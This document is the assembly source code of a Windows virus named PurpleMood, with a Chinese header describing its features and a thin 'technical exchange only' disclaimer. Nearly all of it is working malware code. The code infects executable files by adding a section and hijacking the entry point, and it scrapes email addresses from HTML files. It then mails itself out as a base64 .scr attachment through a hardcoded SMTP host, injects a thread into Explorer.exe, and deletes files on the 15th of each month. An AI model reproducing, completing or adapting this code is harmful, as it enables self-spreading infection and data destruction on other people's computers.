PurpleMood 紫色心情病毒源代码

*******************************************************************
病毒名称:PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简  介:1. 感染本地硬盘和网络上所有exe(GUI)文件
     2. 搜索本地所有邮件地址,将病毒作为附件发送出去
     3. 在Explorer进程中注入线程监控程序的运行。
     4. 每月15日,发作。删除硬盘所有文件。
完成日期:2002/6/20
版  本:v1.0
大  小:6736(byte)
联系地址: [email protected]
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。
     使用者风险自负!若有其他用途,概与本人无关
     万一有转贴,请保持完整性,多谢!
*******************************************************************
.386
.model flat,stdcall
option casemap:none
include useful.inc

.data
hi  db "hi",0
ppmm db "ppmm,you need no reason to love me!",0

.code
main:
  mov  HostEntry,offset ret_addr
  jmp  VStart
ret_addr:
  Invoke MessageBox,NULL,offset ppmm,offset hi,0
  ret

CODE SEGMENT
VStart:             ;virus starts here :)
    call  start
start:
    pop  ebx
    sub  ebx , offset start

    call  GetKBase
    call  GetAPIz

    call  PayLoad
    lea  esi,[offset szEXEPath+ebx]
    push  MAX_PATH
    push  esi
    push  NULL
    mov  eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
    call  eax
    lea  edi,[offset szFilePath+ebx]
    push  50
    push  edi
    mov  eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
    call  eax
    add  eax,FNameSize
    mov  SCRPathSize[ebx],eax
    lea  eax,[offset szFileName+ebx]
    push  eax
    push  edi
    mov  eax , 12345678h
_lstrcat    = dword ptr $-4
    call  eax
    push  esi
    push  edi
    mov  eax , 12345678h
_lstrcmpi   = dword ptr $-4
    call  eax
    or   eax,eax
    jz   StartInfect
    call  CreatePE
    call  rtInit
    call  MakeSCRAlive
Ret2Host:
    push  HostEntry[ebx]
    ret          ;此时栈顶为HostEntry,返回正常入口执行
StartInfect:
    lea  eax,[offset nGetProcAddress+ebx] ;Mutex name
    push  eax
    push  FALSE
    push  NULL
    mov  eax , 12345678h
_CreateMutex  = dword ptr $-4
    call  eax
    lea  eax,[offset MonitorThread + ebx]
    push  0
    push  0
    push  ebx          ;I pass 0 first :(
    push  eax
    push  0
    push  0
    mov  eax , 12345678h
_CreateThread = dword ptr $-4
    call  eax
    lea  eax,[offset PEThread + ebx]
    push  0
    push  0
    push  ebx          ;I pass 0 first :(
    push  eax
    push  0
    push  0
    call  _CreateThread[ebx]
    call  MailThread      ;while(TRUE)

;**********获得image of kernel32.dll的基址*****************
GetKBase:
     mov  edi , [esp+4]
     and  edi , 0FFFF0000h
     .while TRUE
       .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
         mov esi, edi
         add esi, [esi+03Ch]
         .if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
            .break
         .endif
       .endif
       sub edi, 010000h
       .if edi < MIN_KERNEL_SEARCH_BASE  ;win9x
          mov edi, 0bff70000h  ;0bff7000h=9x"base
          .break
       .endif
      .endw
      mov  hKernel32[ebx],edi
      ret
GetAPIz:
     mov   edx,edi           ;edx->Kernel32_Base
     assume edx :ptr IMAGE_DOS_HEADER
     add   edx,[edx].e_lfanew
     assume edx:ptr IMAGE_NT_HEADERS
     mov   edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
     add   edx,hKernel32[ebx]
     assume edx:ptr IMAGE_EXPORT_DIRECTORY
     mov   ebp,[edx].AddressOfNames
     add   ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
     xor   eax,eax       ;eax AddressOfNames Index
    .repeat
       push 14    ;Lenth of GetProcAddress
       pop  ecx
       mov  edi,[ebp]
       add  edi,hKernel32[ebx]
       lea  esi,[offset nGetProcAddress+ebx]
       repz cmpsb
       .if  zero?
          .break
       .endif
       add  ebp,4    ;下一个RVA
       inc  eax
    .until eax == [edx].NumberOfNames
    mov   ebp, [edx].AddressOfNameOrdinals
    add   ebp, hKernel32[ebx]
    movzx  ecx, word ptr [ebp+eax*2]
    mov   ebp, [edx].AddressOfFunctions  ;get addr of the api
    add   ebp, hKernel32[ebx]
    mov   eax, [ebp+ecx*4]
    add   eax,hKernel32[ebx]
    mov   _GetProcAddress[ebx],eax  ;Save GetProcAddress
GetOApiz:
     call @api_table
     db "LoadLibraryA",0
     db "CreateThread",0
     db "CreateRemoteThread",0
     db "WinExec",0
     db "CreateMutexA",0
     db "OpenMutexA",0
     db "ReleaseMutex",0
     db "FindFirstFileA",0
     db "FindNextFileA",0
     db "FindClose",0
     db "CreateFileA",0
     db "CreateFileMappingA",0
     db "MapViewOfFile",0
     db "UnmapViewOfFile",0
     db "SetFilePointer",0
     db "WriteFile",0
     db "CloseHandle",0
     db "VirtualAlloc",0
     db "VirtualAllocEx",0
     db "WriteProcessMemory",0
     db "VirtualFree",0
     db "VirtualFreeEx",0
     db "lstrcmpi",0
     db "lstrcpy",0
     db "lstrcat",0
     db "lstrlen",0
     db "GetFileSize",0
     db "GetSystemDirectoryA",0
     db "GetModuleFileNameA",0
     db "Sleep",0
     db "GetSystemTime",0
     db "DeleteFileA",0
     db "OpenProcess",0
@api_table:
     pop  edi
     call @api_dest
K_Apiz:
     dd  offset _LoadLibraryA
     dd  offset _CreateThread
     dd  offset _CreateRemoteThread
     dd  offset _WinExec
     dd  offset _CreateMutex
     dd  offset _OpenMutex
     dd  offset _ReleaseMutex
     dd  offset _FindFirstFile
     dd  offset _FindNextFile
     dd  offset _FindClose
     dd  offset _CreateFile
     dd  offset _CreateFileMapping
     dd  offset _MapViewOfFile
     dd  offset _UnmapViewOfFile
     dd  offset _SetFilePointer
     dd  offset _WriteFile
     dd  offset _CloseHandle
     dd  offset _VirtualAlloc
     dd  offset _VirtualAllocEx
     dd  offset _WriteProcessMemory
     dd  offset _VirtualFree
     dd  offset _VirtualFreeEx
     dd  offset _lstrcmpi
     dd  offset _lstrcpy
     dd  offset _lstrcat
     dd  offset _lstrlen
     dd  offset _GetFileSize
     dd  offset _GetSystemDirectoryA
     dd  offset _GetModuleFileNameA
     dd  offset _Sleep
     dd  offset _GetSystemTime
     dd  offset _DeleteFile
     dd  offset _OpenProcess
K_API_NUM  = ($-K_Apiz)/4
@api_dest:
    pop   esi
    push   K_API_NUM
    pop   ecx
    xor   ebp,ebp
K_begin:
    push   ecx
    push   edi
    push   hKernel32[ebx]
    call   _GetProcAddress[ebx]
    or    eax,eax
    jz    GA_Fail
    mov   edx , [esi+ebp]
    mov   dword ptr [edx+ebx],eax
    xor   eax,eax
    repnz  scasb     ;寻找字符串结束标志0,使edi指向下个函数名
    add   ebp,4
    pop   ecx
    loop   K_begin
    @pushsz "MPR.dll"
    call   _LoadLibraryA[ebx]
    or    eax,eax
    jz    short GA_Fail
    xchg   esi,eax            ;HMODULE of MPR.dll
Mpr_begin:
    @pushsz "WNetOpenEnumA"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetOpenEnum[ebx],eax
    @pushsz "WNetEnumResourceA"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetEnumResource[ebx],eax
    @pushsz "WNetCloseEnum"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetCloseEnum[ebx],eax
GA_Fail:
    ret
PayLoad:
    call  @PL1
SystemTime   SYSTEMTIME <>
@PL1:  mov  esi,[esp]
    mov  eax , 12345678h
_GetSystemTime = dword ptr $-4
    call  eax
movzx eax , word ptr [esi+6]      ;SystemTime.wDay
cmp  ax,14h        ;15号吗?
jnz  PL_Exit
KILL:
    push  FILE_ALL
    @pushsz "d:/test"
    call  EnumDir
PL_Exit:
    ret

;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC MReloc : DWORD
PT_Work:
   mov   ebx,MReloc
   push   FILE_EXE
   @pushsz "d:/test"
   call   EnumDir
   ;push   NULL
   ;call   EnumNetWork
   push   1000*60*60      ;sleep an hour:)
   call   _Sleep[ebx]
   jmp   short PT_Work
PEThread ENDP

;枚举网络邻居
EnumNetWork PROC pNetResource : DWORD
   LOCAL  hEnum    : DWORD
   LOCAL  Count    : DWORD
   LOCAL  BufferSize : DWORD
   pushad
   push  0FFFFFFFFh
   pop   Count
   push  16*1024
   pop   BufferSize
   lea   eax , hEnum
   push  eax
   push  pNetResource
   push  0
   push  RESOURCETYPE_DISK
   push  RESOURCE_GLOBALNET
   mov   eax , 12345678h
_WNetOpenEnum = dword ptr $-4
   call  eax
   or   eax,eax
   jnz   EN_Exit
   push  PAGE_READWRITE
   push  MEM_RESERVE or MEM_COMMIT
   push  16*1024
   push  0
   mov   eax , 12345678h
_VirtualAlloc = dword ptr $-4
   call  eax
   or   eax,eax
   jz   short EN_Close
   mov   pNetResource,eax
   lea   eax,BufferSize
   push  eax
   push  pNetResource
   lea   eax,Count
   push  eax
   push  hEnum
   mov   eax , 12345678h
_WNetEnumResource = dword ptr $-4
   call  eax
   or   eax,eax
   jnz   short EN_Free
   mov   ecx,Count
   mov   edi,pNetResource
   assume edi:ptr NETRESOURCEA
EN_Loop:
   push  ecx
   mov   eax,[edi].dwUsage
   and   al,2
   .IF   al == 2
       push  edi
       call  EnumNetWork
   .ELSE
       mov   eax,[edi].lpRemoteName
       push  FILE_EXE
       push  eax
       call  EnumDir
   .ENDIF
   add   edi,20h  ; sizeof NETRESOURCE
   pop   ecx
loop EN_Loop
EN_Free:
   push   MEM_RELEASE
   push   0
   push   pNetResource
   mov   eax , 12345678h
_VirtualFree  = dword ptr $-4
   call   eax
EN_Close:
   push   hEnum
   mov   eax , 12345678h
_WNetCloseEnum = dword ptr $-4
   call   eax
EN_Exit:
   popad
   ret 4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC DirName : DWORD,FileType : DWORD
    .REPEAT
        push FileType
        push DirName
        call EnumDir
        mov  eax,DirName
        inc  byte ptr [eax]
        mov  al,byte ptr[eax]
    .UNTIL al > "z"
    mov byte ptr [eax] , "c"
    ret 8
EnumDisk ENDP
;************EnumDir************
;遍历DirName,寻找FileType类型文件
;*******************************
EnumDir PROC  DirName : DWORD , FileType:DWORD
    LOCAL  hSearch       : DWORD
    LOCAL  DirorFile[MAX_PATH] : DWORD
    pushad
    push  DirName
    lea   esi,DirorFile
    push  esi
    mov   eax , 12345678h
_lstrcpy    = dword ptr $-4
    call  eax
    @pushsz "/*.*"
    push  esi             ;DirorFile
    call  _lstrcat[ebx]
    lea  edi,[offset wfd+ebx]
    push  edi
    push  esi
    mov   eax , 12345678h
_FindFirstFile = dword ptr $-4
    call  eax
    cmp  eax,INVALID_HANDLE_VALUE
    jz   ED_Exit
    mov  hSearch,eax
    .REPEAT
      .if  byte ptr [wfd+44+ebx]=="."
          jmp short EN_NEXT
      .endif
      push  DirName
      push  esi
      call  _lstrcpy[ebx]
      @pushsz "/"
      push  esi
      call  _lstrcat[ebx]
      lea   eax,[wfd+44+ebx]
      push  eax
      push  esi            ;DirorFile
      call  _lstrcat[ebx]
      mov   eax , dword ptr [wfd+ebx]
      and   eax , FILE_ATTRIBUTE_DIRECTORY
      .if   eax ==FILE_ATTRIBUTE_DIRECTORY
          push  dword ptr FileType
          push  esi
          call  EnumDir
      .else                  ;是文件
          push  dword ptr FileType
          push  esi
          call  AnFile
      .endif
EN_NEXT:
      push  edi
      push  hSearch
      mov  eax , 12345678h
_FindNextFile   = dword ptr $-4
      call  eax
    .UNTIL eax==0        ;FindNexeFile fail
ED_Close:
     push  hSearch
     mov  eax , 12345678h
_FindClose   = dword ptr $-4
     call  eax
ED_Exit:
     popad
     ret  8
EnumDir ENDP
;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm)
AnFile PROC FileName:DWORD,FileType:DWORD
    pushad
AF_00: lodsb
    or  al,al
    jnz AF_00
    .if    FileType == FILE_ALL  ;all
         push FileName
         mov   eax , 12345678h
_DeleteFile    = dword ptr $-4
         call  eax
    .elseif  FileType == FILE_EXE  ;exe
          mov eax,[esi-5]
         .if eax == "exe."
           push  FileName
           call  InfectFile
         .endif
    .else              ;FileType = FILE_HTM
AF_01:      sub esi , 2
         lodsb
         cmp al,"."
         jnz AF_01
         mov eax,[esi-1]
         .if eax == "mth."
           push  FileName
           call  Parse_HTM
         .endif
    .endif
    popad
    ret 8
AnFile ENDP

;感染PE文件
InfectFile PROC FileName : DWORD
    LOCAL  hFile  : DWORD
    LOCAL  hMapping : DWORD
    LOCAL  pMapping : DWORD
    LOCAL  ByteWrite: DWORD
    pushad
    push NULL
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push NULL
    push FILE_SHARE_READ+FILE_SHARE_WRITE
    push GENERIC_READ+GENERIC_WRITE
    push FileName
    mov   eax , 12345678h
_CreateFile = dword ptr $-4
    call  eax
    cmp  eax,INVALID_HANDLE_VALUE
    jz  IF_Exit
    mov  hFile,eax
    push  0
    push  0
    push  0
    push  PAGE_READWRITE
    push  NULL
    push  hFile
    mov   eax , 12345678h
_CreateFileMapping = dword ptr $-4
    call  eax
    or   eax,eax
    jz   IF_F3
    mov  hMapping , eax
    push  0
    push  0
    push  0
    push  FILE_MAP_READ+FILE_MAP_WRITE
    push  hMapping
    mov  eax , 12345678h
_MapViewOfFile = dword ptr $-4
    call  eax
    or   eax,eax
    jz   IF_F2
    mov  pMapping,eax
    mov  esi,eax
    assume esi :ptr IMAGE_DOS_HEADER
    .IF [esi].e_magic!=IMAGE_DOS_SIGNATURE
       jmp IF_F1
    .ENDIF
    .IF [esi].e_lfarlc!=040h
       jmp IF_F1
    .ENDIF
    add esi,[esi].e_lfanew         ;此时edx指向PE文件头
    assume esi:ptr IMAGE_NT_HEADERS
    .IF [esi].Signature!=IMAGE_NT_SIGNATURE  ;是PE文件吗?
       jmp IF_F1
    .ENDIF
    .IF word ptr [esi].OptionalHeader.Subsystem!=2
       jmp IF_F1
    .ENDIF
    .IF word ptr [esi+1ah]==0815h
       jmp IF_F1
    .ENDIF
    mov eax,[esi].OptionalHeader.AddressOfEntryPoint
    add eax,[esi].OptionalHeader.ImageBase
    mov HostEntry[ebx],eax           ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
    movzx eax,[esi].FileHeader.NumberOfSections
    mov  ecx,28h
    mul  ecx
    lea  edi,[esi]
    sub  edi,pMapping
    add  eax,edi
    add  eax,18h
    movzx edi,[esi].FileHeader.SizeOfOptionalHeader
    add  eax,edi
    mov  edi,eax
    add  edi,pMapping       ;I forgot this first
    add  eax,28h
    .IF eax>[esi].OptionalHeader.SizeOfHeaders
       jmp IF_F1
    .ENDIF
;*****************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*****************************************
    inc [esi].FileHeader.NumberOfSections
    assume edi:ptr IMAGE_SECTION_HEADER
    mov   dword ptr[edi],00736A78h  ;"xjs"
    push [esi].OptionalHeader.SizeOfImage
    pop [edi].VirtualAddress
    mov eax,offset VEnd-offset VStart
    mov [edi].Misc.VirtualSize,eax
    mov ecx,[esi].OptionalHeader.FileAlignment
    div ecx
    inc eax
    mul ecx
    mov [edi].SizeOfRawData,eax
    lea eax,[edi-28h+14h]        ;PointerToRawData
    mov eax,[eax]
    lea ecx,[edi-28h+10h]        ;SizeOfRawData
    mov ecx,[ecx]
    add eax,ecx
    mov [edi].PointerToRawData,eax
    mov [edi].Characteristics,0E0000020h ;可读可写可执行
;***************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************
    mov eax,[edi].Misc.VirtualSize
    mov ecx,[esi].OptionalHeader.SectionAlignment
    div ecx
    inc eax
    mul ecx
    add eax,[esi].OptionalHeader.SizeOfImage
    mov [esi].OptionalHeader.SizeOfImage,eax
    mov eax,[edi].VirtualAddress
    mov [esi].OptionalHeader.AddressOfEntryPoint,eax
    mov word ptr [esi+1ah],0815h  ;写入感染标志
    push FILE_BEGIN
    push 0
    push [edi].PointerToRawData
    push hFile
    mov  eax , 12345678h
_SetFilePointer = dword ptr $-4
    call eax
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
    push 0
    lea  eax,ByteWrite
    push eax
    push [edi].SizeOfRawData
    lea  eax,[offset VStart+ebx]
    push eax
    push hFile
    mov  eax , 12345678h
_WriteFile = dword ptr $-4
    call eax
IF_F1:
    push pMapping
    mov   eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
    call  eax
IF_F2:
    push hMapping
    call _CloseHandle[ebx]
IF_F3:
    push hFile
    call _CloseHandle[ebx]
IF_Exit:
    popad
    ret 4
InfectFile ENDP
;*****************电子邮件传播线程***************************
;从本地、网络的*.htm*获得邮件地址.
;***********************************************************
MailThread:
      call  MailInit
MT_Work:
      push  FILE_HTM
      @pushsz "c:"
      call  EnumDisk
      push  1000*60*60*24      ;sleep a day :)
      call  _Sleep[ebx]
      jmp  short MT_Work
;*********************************************************
;Mutate virus to BASE64 only once
;*********************************************************
MailInit PROC
    LOCAL hFile  : DWORD
    LOCAL hMapping : DWORD
    LOCAL pMapping : DWORD
    pushad
    xor  edi,edi
    push  edi
    push  FILE_ATTRIBUTE_NORMAL
    push  OPEN_EXISTING
    push  edi
    push  FILE_SHARE_READ
    push  GENERIC_READ
    lea  eax,[offset szFilePath+ebx]
    push  eax
    call  _CreateFile[ebx]
    mov  hFile,eax
    push  edi
    push  edi
    push  edi
    push  PAGE_READONLY
    push  edi
    push  eax
    call  _CreateFileMapping[ebx]
    mov  hMapping,eax
    push  edi
    push  edi
    push  edi
    push  FILE_MAP_READ
    push  eax
    call  _MapViewOfFile[ebx]
    mov  pMapping,eax
    push  PAGE_READWRITE
    push  MEM_RESERVE or MEM_COMMIT
    push  SIZEOF_VIRUS_FILE*2
    push  edi
    call  _VirtualAlloc[ebx]
    mov  Base64_Encoded_Data[ebx],eax
    mov  esi,pMapping
    mov  edi,Base64_Encoded_Data[ebx]
    call  EncodeBase64
    @pushsz "WSOCK32.DLL"
    call   _LoadLibraryA[ebx]
    xchg   eax,edi  ;hSockDll
    @pushsz "WSAStartup"
    push   edi
    call   _GetProcAddress[ebx]
    lea   esi,[offset WSA_Data+ebx]
    push   esi
    push   0202h    ;!!!warning 2.2
    call   eax
    @pushsz "socket"
    push   edi
    call   _GetProcAddress[ebx]
    mov   [offset _socket+ebx],eax
    @pushsz "gethostbyname"
    push   edi
    call   _GetProcAddress[ebx]
    @pushsz "pact518.hit.edu.cn"
    call   eax
    mov   esi,[eax+12]
    lodsd
        push   [eax]
     pop   [offset ServIP + ebx]
@pushsz "connect"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _connect+ebx],eax
@pushsz "send"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _send+ebx],eax
@pushsz "closesocket"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _closecsoket+ebx],eax
MI_Close3:
push  pMapping
call  _UnmapViewOfFile[ebx]
MI_Close2:
push  hMapping
call  _CloseHandle[ebx]
MI_Close:
push  hFile
call  _CloseHandle[ebx]
MI_Exit:
    popad
    ret
MailInit ENDP
;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
     LOCAL BASE64_lines : DWORD
     xor ecx,ecx
     mov BASE64_lines,ecx
     cld
BASE64encode_loop:
     cmp ecx,SIZEOF_VIRUS_FILE
     jae BASE64__exit
     xor edx,edx
     mov dh,byte ptr [esi+ecx]
     inc ecx
     cmp ecx,SIZEOF_VIRUS_FILE
     jae BASE64__00
     mov dl,byte ptr [esi+ecx]
BASE64__00:
inc ecx
    shl edx,08h
    cmp ecx,SIZEOF_VIRUS_FILE
    jae BASE64__01
    mov dl,byte ptr [esi+ecx]
BASE64__01:
 inc ecx
    mov eax,edx
    and eax,00fc0000h
    shr eax,12h
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,0003f000h
    shr eax,0Ch
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,00000fc0h
    shr eax,06h
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,0000003fh
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    cmp ecx,SIZEOF_VIRUS_FILE
    jbe BASE64__02
    mov byte ptr [edi-00000001h],"="
BASE64__02:
 cmp ecx,SIZEOF_VIRUS_FILE+01h
    jbe BASE64__03
    mov byte ptr [edi-00000002h],"="
    inc BASE64_lines
    cmp BASE64_lines,00000013h
    jne BASE64encode_loop
    mov ax,0A0Dh
    stosw
    mov BASE64_lines,00000000h
BASE64__03:
 jmp BASE64encode_loop
BASE64__exit:
 mov ax,0A0Dh
    stosw
    ret
EncodeBase64 EndP
;**********************************************
;发送邮件函数
;1. 连接SMTP Server
;2. 发送协议信息,发送BASE64编码的附件,发送其余数据
;warning: 发送数据的长度
;**********************************************
SendMail PROC
pushad
    push   NULL
    push   SOCK_STREAM
    push   AF_INET
    mov   eax , 12345678h
_socket     = dword ptr $-4
call   eax
    mov   VSocket[ebx],eax
push   sizeof(sockaddr) ; Size of connect strucure=16
call   @SMTP1   ; Connect structure
dw    AF_INET      ; Family
db    0,25   ; Port number,avoid htons :)
ServIP dd    0   ; in_addr of server
db    8 dup(0)  ; Unused
@SMTP1:
push   [offset VSocket+ebx]
mov   eax , 12345678h
_connect     = dword ptr $-4
call   eax
lea   eax,[offset SM_I+ebx]
push   eax
mov   eax,12345678h
_lstrlen     = dword ptr $ - 4
call   eax
push   NULL
push   eax
call   SM_I_End
SM_I:
HelloServer db "HELO cx",0dh,0ah
       db "MAIL FROM: <"
TempMailTo  db 128 dup (0)
SM_I_End:
push   [offset VSocket+ebx]
call   _send[ebx]
    push   NULL
push   SM_II_End - SM_II
call   SM_II_End
SM_II:
       db ">",0dh,0ah
RcptTo    db "RCPT TO: <[email protected]>",0dh,0ah
SM_II_End:
push   [offset VSocket+ebx]
call   _send[ebx]
push   NULL
push   SM_Data_Len
call   SM_Data
MailData   db "DATA",0dh,0ah
       db "Subject:hi",0dh,0ah
       db "Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaR
y_05151998",0dh,0ah
       db "--WC_MAIL_PaRt_BoUnDaRy_05151998",0dh,0ah
   db "Content-Type: application/octet-stream; file=PurpleMood.scr",0dh,0
ah
      db "Content-Transfer-Encoding: base64",0dh,0ah
       db "Content-Disposition: attachment; filename=PurpleMood.scr",0
dh,0ah,0dh,0ah
SM_Data_Len    = $ - MailData
SM_Data:
    push   [offset VSocket+ebx]
call   _send[ebx]
    mov   eax,Base64_Encoded_Data[ebx]
    push   eax
    call   _lstrlen[ebx]
push   NULL           ;Send base64 attachment
push   eax           ;SIZEOF_VIRUS_BASE64
push   [offset Base64_Encoded_Data+ebx] ; Buffer
push   [offset VSocket+ebx]
call   _send[ebx]
push   NULL
push   SM_DR_Len
call   SM_DR
MailDataRemain  db "--WC_MAIL_PaRt_BoUnDaRy_05151998--",0dh,0ah
         db 0dh,0ah,".",0dh,0ah,"QUIT",0dh,0ah
SM_DR_Len    = $ - MailDataRemain
SM_DR:
push   [offset VSocket+ebx]
call   _send[ebx]
push   [offset VSocket+ebx]
mov   eax , 12345678h
_closecsoket    = dword ptr $-4
call   eax
popad
ret
SendMail ENDP
;分析MailFileName(*.htm*),寻找Mail_Addr.
Parse_HTM PROC FileName :DWORD
    LOCAL  hFile  : DWORD
    LOCAL  hMapping : DWORD
    LOCAL  SafeFSize: DWORD

pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or   eax,eax
jz PH_Exit
mov   hFile , eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov   hMapping,eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi      ;esi = pMapping
push 0
push hFile
    mov   eax , 12345678h
_GetFileSize  = dword ptr $-4
    call  eax
sub   eax,16      ;For security
add   eax,esi
mov   SafeFSize,eax   ;esi must be below SafeFSize
    .while esi < SafeFSize
      xor  edx,edx     ;Valid = FALSE
      @pushsz   "mailto:
      pop  edi
      push  7        ;strlen of "mailto:
      pop  ecx
      repz cmpsb
    .if  zero?      ;找到 mailto:
       lea  edi,[offset TempMailTo+ebx]
          push edi
          .while esi              lodsb
              .if   al==" "
                  .continue
              .elseif al==">" || al==""" ||al==""""||al=="<"
                   xor al,al
                   stosb
                   .break
              .elseif al=="@"
                   stosb
                   inc edx
              .else
                   stosb
              .endif
          .endw
          pop  edi
          .if  edx==1
              call SendMail
          .endif
    .endif
    inc esi
  .endw
PH_Close3:
push esi
call _UnmapViewOfFile[ebx]
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]
PH_Exit:
popad
ret   4
Parse_HTM ENDP
;****************************
;data used by SendMail
;****************************
WSA_Data   WSADATA  <>
VSocket    dd    0
_send     dd    0
Base64_Encoded_Data   dd 0
Base64DecodeTable    equ $
     db  "A","B","C","D","E","F","G","H","I","J"
     db  "K","L","M","N","O","P","Q","R","S","T"
  db  "U","V","W","X","Y","Z","a","b","c","d"
  db  "e","f","g","h","i","j","k","l","m","n"
  db  "o","p","q","r","s","t","u","v","w","x"
  db  "y","z","0","1","2","3","4","5","6","7"
  db  "8","9","+","/"
SizeOfBase64DecodeTable   equ $-Base64DecodeTable
;********CreatePE**********************
CreatePE PROC
   LOCAL ByteWrite:DWORD
   pushad
   lea  eax , [offset szFilePath+ebx]
   push NULL
   push FILE_ATTRIBUTE_NORMAL
   push CREATE_NEW
   push NULL
   push FILE_SHARE_READ+FILE_SHARE_WRITE
   push GENERIC_READ+GENERIC_WRITE
   push eax
   call _CreateFile[ebx]
   or  eax,eax
   jz  CT_Exit
   xchg eax,esi
   lea  edi,ByteWrite
   push 0
   push edi
   push 200h      ; 文件头<200h & FileAliagment=200h
   lea  eax,[offset MDosStub+ebx]
   push eax
   push esi        ;esi=hFile
   call _WriteFile[ebx]  ;Write DosStub,NTHeader,SectionHeader
   push 0
   push edi
   push VRAW_SIZE
   lea  eax,[offset VStart+ebx]
   push eax
   push esi
   call _WriteFile[ebx]  ;Write code and import tatle
   push esi
   call _CloseHandle[ebx]
CT_Exit:
   popad
   ret
CreatePE ENDP
;*************MonitorThread********************************
;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr
;的运行和注册表的Run项.
;**********************************************************
MonitorThread PROC MReloc : DWORD
    mov   ebx , MReloc
@pushsz "PSAPI"
call _LoadLibraryA[ebx]
    xchg   eax,esi
@pushsz "EnumProcesses"
push esi
call _GetProcAddress[ebx]
mov _EnumProcesses[ebx],eax
@pushsz "EnumProcessModules"
push esi
call   _GetProcAddress[ebx]
mov _EnumProcessModules[ebx],eax
@pushsz "GetModuleBaseNameA"
push esi
call _GetProcAddress[ebx]
mov _GetModuleBaseNameA[ebx],eax
lea esi,[offset procz + ebx]
lea edi,[offset tmp  + ebx]
push edi
push 128
push esi
mov eax,12345678h
_EnumProcesses  = dword ptr $-4
call eax    ;enumerate all running processes
dec eax
jne MT_Exit
add esi,4      ;esi->ProcessIDs[128]
p_search:
lodsd   ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess    ;and try to infect it
jmp p_search
MT_Exit:
    ret   4
MonitorThread ENDP
AnalyseProcess Proc
    pushad
push eax    ;process id
push 0
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or P
ROCESS_VM_READ or PROCESS_QUERY_INFORMATION
mov eax,12345678h
_OpenProcess  = dword ptr $-4
call eax  ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
lea esi,[offset modz + ebx]
lea ecx,[offset tmp + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax  ;get first (main) module
dec eax
jne AP_Exit
lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax  ;get its name
test eax,eax
je AP_Exit
    @pushsz "Explorer.exe"
    push  edi
    call  _lstrcmpi[ebx]
    jnz   AP_Exit
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart
    push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess =   dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax  ;aloc there a memory
test eax,eax
je AP_Exit
xchg eax,ebp
push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax  ;write there our code
dec eax
jne AP_FreeMem
xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
 call eax  ;run remote thread!
 jmp   AP_Exit     ;important,i forgot first
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax  ;free memory
AP_Exit :
    popad
    ret
AnalyseProcess EndP
procz dd 128 dup (?)
 dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
tmp dd ?
rtThreadStart:
